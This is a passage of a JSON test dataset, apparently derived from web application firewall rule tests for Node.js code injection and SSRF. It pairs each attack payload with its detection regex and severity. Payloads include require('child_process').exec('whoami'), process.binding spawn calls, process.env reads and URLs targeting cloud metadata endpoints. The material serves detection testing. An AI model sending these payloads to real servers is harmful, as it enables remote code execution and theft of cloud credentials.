"_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "\"console\" false positive test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%23%7Bprocess.binding%28foo%29.spawn%28foo2%29%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "ssti test 1" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%23%7Brequire.main.constructor._load%28foo%29.readdirSync%28foo2%29%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "ssti test 2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=process%5Breq.query.a" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "ssti test 3" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=require%5Breq.query.a" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "ssti test 4" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=process%5BmainModule" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "ssti test 5" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=require(\"child_process\").exec('whoami')" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "require child_process" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "process.env\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "5ZLKNU33" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "console.info(1)\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "5ZLKNU33" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "c\\u006fnsole.info(1)\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "5ZLKNU33" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http%3A%2F%2F169.254.169.254%2FcomputeMetadata%2Fv1%2F" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ssrf.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934110", "test_description": "SSRF - check google cloud url" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fv1.json" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ssrf.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934110", "test_description": "SSRF - check digitalcloud url" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=https%3A%2F%2Fmetadata.packet.net%2Fuserdata" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", 